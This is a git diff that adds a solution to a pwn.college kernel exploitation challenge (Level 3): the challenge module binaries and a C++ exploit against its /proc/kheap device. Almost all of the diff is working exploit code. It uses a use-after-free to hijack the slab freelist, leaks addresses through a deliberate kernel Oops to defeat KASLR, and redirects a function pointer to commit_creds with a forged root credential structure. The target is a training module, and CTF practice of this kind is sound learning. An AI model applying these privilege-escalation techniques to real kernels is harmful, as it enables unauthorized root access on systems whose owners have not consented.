diff --git a/PwnCollege/KernelExploitation/.gitignore b/PwnCollege/KernelExploitation/.gitignore index ba2939b..8aa64e2 100644 --- a/PwnCollege/KernelExploitation/.gitignore +++ b/PwnCollege/KernelExploitation/.gitignore @@ -1 +1,3 @@ -!*.ko \ No newline at end of file +!*.ko + +vmlinux \ No newline at end of file diff --git a/PwnCollege/KernelExploitation/Level3/challenge3.ko b/PwnCollege/KernelExploitation/Level3/challenge3.ko new file mode 100644 index 0000000..5ea66f7 Binary files /dev/null and b/PwnCollege/KernelExploitation/Level3/challenge3.ko differ diff --git a/PwnCollege/KernelExploitation/Level3/challenge3.ko.i64 b/PwnCollege/KernelExploitation/Level3/challenge3.ko.i64 new file mode 100644 index 0000000..ea40394 Binary files /dev/null and b/PwnCollege/KernelExploitation/Level3/challenge3.ko.i64 differ diff --git a/PwnCollege/KernelExploitation/Level3/exploit.cpp b/PwnCollege/KernelExploitation/Level3/exploit.cpp new file mode 100644 index 0000000..c5aa0eb --- /dev/null +++ b/PwnCollege/KernelExploitation/Level3/exploit.cpp @@ -0,0 +1,229 @@ +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#define CMD_COPY_TO_USER 0x5700 +#define CMD_COPY_FROM_USER 0x5701 +#define CMD_EXE_FUNC_PTR 0x5702 +#define CMD_FREE_CHUNK 0x5703 + +// Unrandomized +// nm -a /challenge/vmlinux | grep symbol_name +const uint64_t kernel_base = 0xffffffff81000000ull; // _text +const uint64_t commit_creds = 0xffffffff810b8bb0ull; // commit_creds +const uint64_t root_user = 0xffffffff82a51560ull; // root_user +const uint64_t init_user_ns = 0xffffffff82a51600ull; // init_user_ns +const uint64_t init_ucounts = 0xffffffff82a53800ull; // init_ucounts +const uint64_t init_groups = 0xffffffff82a52fd8ull; // init_groups +const uint64_t init_cred = 0xffffffff82a52f20ull; // init_cred +const uint64_t _printk_rb_static_infos = 0xffffffff82a58c20ull; // _printk_rb_static_infos +// nm -a /challenge/challenge3.ko | grep symbol_name +const uint64_t do_print = 0x10ull; // do_print +// Randomized +uint64_t kernel_ASLR_offset = 0; +uint64_t _printk_rb_static_infos_randomized = 0; +uint64_t kernel_base_randomized = 0; +uint64_t commit_creds_randomized = 0; + +struct cred { + uint64_t usage; + uint32_t uid; + uint32_t gid; + uint32_t suid; + uint32_t sgid; + uint32_t euid; + uint32_t egid; + uint32_t fsuid; + uint32_t fsgid; + unsigned int securebits; + uint64_t cap_inheritable; + uint64_t cap_permitted; + uint64_t cap_effective; + uint64_t cap_bset; + uint64_t cap_ambient; + unsigned char jit_keyring; + void *session_keyring; + void *process_keyring; + void *thread_keyring; + void *request_key_auth; + void *security; + void *user; + void *user_ns; + void *ucounts; + void *group_info; + union { + int non_rcu; + struct { + void *next; + void (*func)(void *head); + } rcu __attribute__((aligned(sizeof(void *)))); + }; +}; + +char buf[0x1000]; +struct kheap_req_t { + void * ubuf; + size_t size; +} req = {buf, 0}; + + +int new_fd() { + return open("/proc/kheap", O_RDWR); +} + +// Refer to +// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred +// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44 +void do_fake_cred(struct cred *fake_cred, void* security) { + memset(fake_cred, 0, sizeof(struct cred)); + // placement new + new (fake_cred) cred { + .usage = 1, + .uid = 0, + .gid = 0, + .suid = 0, + .sgid = 0, + .euid = 0, + .egid = 0, + .fsuid = 0, + .fsgid = 0, + .securebits = 0, + .cap_inheritable = 0, + .cap_permitted = 0xFFFFFFFFFFFFFFFF, + .cap_effective = 0xFFFFFFFFFFFFFFFF, + .cap_bset = 0xFFFFFFFFFFFFFFFF, + // nm -a /challenge/vmlinux | grep symbol_name + .security = security, + .user = (void*)(kernel_ASLR_offset + root_user), + .user_ns = (void*)(kernel_ASLR_offset + init_user_ns), + .ucounts = (void*)(kernel_ASLR_offset + init_ucounts), + .group_info = (void*)(kernel_ASLR_offset + init_groups), + }; +} + +const int max_buffer_size = 0x1D0; +const int freelist_ptr_offset_to_buf = 0xE0; +const int fake_chunk_offset = 0x10; +const int buf_to_chunk_start_offset = 0x8; +const int module_data_offset = 0x2000; +const int struct_module_offset_to_data = 0xC0; + +int main() { + req.size = max_buffer_size; + + int fd1 = new_fd(); + // Free chunk of `fd1` + ioctl(fd1, CMD_FREE_CHUNK, &req); + // Freelist: fd1 -> fd2 -> fd3 -> ... + // Use after Free chunk of `fd1` + ioctl(fd1, CMD_COPY_TO_USER, &req); + // Read `ptr` of freed chunk of `fd1` -- `fd2` + uint64_t fd2_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf]; + printf("fd2_ptr: %p\n", fd2_ptr); + // Regain the same chunk of `fd1` -- `fd1_dup` to get chunk of `fd2` in next steps + int fd1_dup = new_fd(); + int fd2 = new_fd(); + // Free chunk of `fd2` + ioctl(fd2, CMD_FREE_CHUNK, &req); + // Freelist: fd2 -> fd3 -> ... + // Read `ptr` of freed chunk of `fd2` -- `fd3` + ioctl(fd2, CMD_COPY_TO_USER, &req); + uint64_t fd3_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf]; + printf("fd3_ptr: %p\n", fd3_ptr); + // Set `ptr` to `fd2` + fake_chunk_offset + *(uint64_t *)&buf[freelist_ptr_offset_to_buf] = fd2_ptr + fake_chunk_offset; + ioctl(fd2, CMD_COPY_FROM_USER, &req); + // Freelist: fd2 -> fd2 + fake_chunk_offset -> 0 + // Regain the same chunk of `fd2` -- `fd2_dup` to get chunk of `fd2` + fake_chunk_offset in next steps + int fd2_dup = new_fd(); + // Set `ptr` of faked `fd2` + fake_chunk_offset to `fd3` to recover the corrupted state of freelist + *(uint64_t *)&buf[freelist_ptr_offset_to_buf + fake_chunk_offset] = fd3_ptr; + ioctl(fd2, CMD_COPY_FROM_USER, &req); + // Freelist: fd2 + fake_chunk_offset -> fd3 -> ... + int fd2_fake = new_fd(); + // Freelist: fd3 -> ... + // Now, the offset between chunk of `fd2` and chunk of `fd2_fake` is `fake_chunk_offset` + // Try to leak address of kernel module symbol `do_print` + ioctl(fd2, CMD_COPY_TO_USER, &req); + uint64_t do_print_ptr = *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset]; + printf("do_print_ptr: %p\n", do_print_ptr); + uint64_t kernel_module_base = do_print_ptr - do_print; + printf("kernel_module_base: %p\n", kernel_module_base); + // set the func ptr to an invalid value + *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = 0x4142434445464748ull; + ioctl(fd2, CMD_COPY_FROM_USER, &req); + + // Fork a child process to trigger an Oops to leak kernel base. + // NOTE that both child and parent process keep reference to + // the file descriptors, so even if the child process crashed, + // parent process still holds them so the freelist chain won't be + // corrupted meanwhile reducing the exploit development complexity. + int child_pid = fork(); + if (child_pid == -1) { + perror("fork failed"); + exit(EXIT_FAILURE); + } + if (child_pid == 0) { + // Child process + printf("Child process triggering kernel Oops.\n"); + ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req); + // Expected Oops there + printf("Unreachable path!\n"); + exit(EXIT_FAILURE); + } + // Parent process + wait(nullptr); + printf("Parent process waiting finished.\n"); + // In kernel Oops message, + // r10 is `_printk_rb_static_infos` + // r11 is `_printk_rb_static_descs` + printf("Please input r10 in hex form, e.g. ffffffffb4458c20:\n"); + scanf("%llx", &_printk_rb_static_infos_randomized); + kernel_ASLR_offset = _printk_rb_static_infos_randomized - _printk_rb_static_infos; + kernel_base_randomized = kernel_base + kernel_ASLR_offset; + printf("kernel_base: %p\n", kernel_base_randomized); + // Validate via `sudo cat /proc/kallsyms | grep " _text"` + commit_creds_randomized = commit_creds + kernel_ASLR_offset; + + // set the func ptr to randomized `commit_creds` + *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = commit_creds_randomized; + ioctl(fd2, CMD_COPY_FROM_USER, &req); + // fake a `struct cred` in `fd2_fake` + struct cred fake_cred; + uint64_t security_addr = fd2_ptr + fake_chunk_offset + 8 + sizeof(struct cred); + do_fake_cred(&fake_cred, (void *)security_addr); + memcpy(buf, &fake_cred, sizeof(struct cred)); + ioctl(fd2_fake, CMD_COPY_FROM_USER, &req); + // execute function pointer in kernel space + ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req); + // try change the mode of flag + chmod("/flag", 0777); + + return 0; +} + +// Protection: +// - KASLR on. +// - SMAP, SMEP On. +// - CONFIG_SLAB_FREELIST_RANDOM=y +// - CONFIG_SLAB_FREELIST_HARDENED=n +// - CONFIG_RANDSTRUCT=n + +// Debug: +// Use `sudo cat /proc/modules` to get kernel module base. +// gdb> add-symbol-file /challenge/challenge3.ko [ModuleBase] +// gdb> b kheap_open +// gdb> b kheap_ioctl +// An aligned slub slot is 0x200 bytes, original slub slot is 0x1D8 bytes. + +// $ g++ exploit.cpp -o exploit -g